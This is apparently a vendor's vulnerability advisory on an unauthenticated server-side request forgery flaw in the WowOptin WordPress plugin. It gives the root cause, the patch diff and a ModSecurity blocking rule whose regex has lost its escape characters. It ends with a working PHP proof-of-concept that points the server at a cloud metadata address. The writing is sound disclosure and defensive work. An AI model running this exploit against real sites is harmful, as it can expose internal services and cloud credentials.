Atomic Edge analysis of CVE-2026-4302:
The WowOptin: Next-Gen Popup Maker WordPress plugin, versions 1.4.29 and earlier, contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw exists in a publicly accessible REST API endpoint, allowing attackers to force the server to make arbitrary HTTP requests to internal or external systems.
Atomic Edge research identifies the root cause as an insecure REST endpoint registration and insufficient input validation. In the vulnerable version, the plugin registers the `/wp-json/optn/v1/integration-action` endpoint with a `permission_callback` of `__return_true`, granting public access. User-supplied input from the `link` parameter is passed directly to `wp_remote_get()` or `wp_remote_post()` in the `Webhook::add_subscriber()` method within `/optin/includes/integrations/implementations/class-webhook.php`. The plugin does not validate the URL or use the safer `wp_safe_remote_get/post` functions.
Exploitation is straightforward. An unauthenticated attacker sends a POST request to the `/wp-json/optn/v1/integration-action` endpoint. The request body must contain a `link` parameter with the target URL and a `reqType` parameter set to `GET` or `POST`. The server will then execute an HTTP request to the supplied URL, enabling internal network reconnaissance or interaction with local services. Attackers can also use the `fields` parameter to append query strings or POST data.
The patch, implemented in version 1.4.30, addresses the vulnerability with multiple layers of defense. The `add_subscriber()` method now validates that `link` and `reqType` parameters are not empty. It sanitizes the `link` parameter with `esc_url_raw()` and validates it using `wp_http_validate_url()`. The vulnerable `wp_remote_get/post` calls are replaced with their safe counterparts, `wp_safe_remote_get/post`. Additional validation ensures the `fields` parameter is an array and re-validates the URL after query arguments are added for GET requests. A default case returns false for invalid `reqType` values.
Successful exploitation allows attackers to perform network port scanning, interact with unauthenticated internal services like databases or administrative panels, and potentially access metadata services in cloud environments. This can lead to information disclosure, internal service manipulation, or acting as a stepping stone for further attacks against backend systems.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/optin/includes/integrations/implementations/class-webhook.php
+++ b/optin/includes/integrations/implementations/class-webhook.php
@@ -31,26 +31,43 @@
*/
public function add_subscriber( $data ): bool {
+ if ( empty( $data['link'] ) || empty( $data['reqType'] ) ) {
+ return false;
+ }
+
+ $url = wp_http_validate_url( esc_url_raw( $data['link'] ) );
+
+ if ( false === $url ) {
+ return false;
+ }
+
$res = null;
if ( 'GET' === $data['reqType'] ) {
- $url = add_query_arg( $data['fields'], $data['link'] );
- $res = wp_remote_get(
+ $url = add_query_arg( is_array( $data['fields'] ) ? $data['fields'] : array(), $url );
+
+ if ( false === wp_http_validate_url( $url ) ) {
+ return false;
+ }
+
+ $res = wp_safe_remote_get(
$url,
array(
'timeout' => 45,
)
);
} elseif ( 'POST' === $data['reqType'] ) {
- $res = wp_remote_post(
- $data['link'],
+ $res = wp_safe_remote_post(
+ $url,
array(
'method' => 'POST',
'headers' => array( 'Content-Type' => 'application/json; charset=utf-8' ),
- 'body' => wp_json_encode( $data['fields'] ),
+ 'body' => wp_json_encode( isset( $data['fields'] ) && is_array( $data['fields'] ) ? $data['fields'] : array() ),
'timeout' => 45,
)
);
+ } else {
+ return false;
}
if ( ! is_null( $res ) && ! is_wp_error( $res ) ) {
--- a/optin/optin.php
+++ b/optin/optin.php
@@ -4,7 +4,7 @@
* Description: A WordPress Optin plugin helps capture visitor info through customizable forms to grow your email list and boost lead generation!
* Requires at least: 6.4
* Requires PHP: 7.4
- * Version: 1.4.29
+ * Version: 1.4.30
* Author: WPXPO
* Author URI: https://wpxpo.com/
* License: GPLv3
@@ -21,7 +21,7 @@
}
-define( 'OPTN_VERSION', '1.4.29' );
+define( 'OPTN_VERSION', '1.4.30' );
define( 'OPTN_BASE', plugin_basename( __FILE__ ) );
define( 'OPTN_DIR', plugin_dir_path( __FILE__ ) );
define( 'OPTN_URL', plugin_dir_url( __FILE__ ) );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4302
SecRule REQUEST_URI "@rx ^/wp-json/optn/v1/integration-action"
"id:10004302,phase:2,deny,status:403,chain,msg:'CVE-2026-4302 SSRF via WowOptin REST API',severity:'CRITICAL',tag:'CVE-2026-4302'"
SecRule REQUEST_METHOD "@rx ^(POST|GET)$" "chain"
SecRule REQUEST_BODY "@rx "link"s*:s*"(?:http|https|ftp)://(?:127.0.0.1|localhost|169.254|10.|172.(?:1[6-9]|2[0-9]|3[0-1]).|192.168.|0.0.0.0|[::1])"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4302 - WowOptin: Next-Gen Popup Maker <= 1.4.29 - Unauthenticated Server-Side Request Forgery via 'link' Parameter in REST API
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$ssrf_target = 'http://169.254.169.254/latest/meta-data/';
// Construct the vulnerable REST API endpoint
$api_endpoint = rtrim($target_url, '/') . '/wp-json/optn/v1/integration-action';
// Prepare the malicious payload
$payload = array(
'link' => $ssrf_target,
'reqType' => 'GET',
'fields' => array() // Optional query parameters
);
// Encode the payload as JSON
$json_payload = json_encode($payload);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen($json_payload)
));
// Execute the SSRF request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response:n";
echo $response . "n";
}
curl_close($ch);
?>
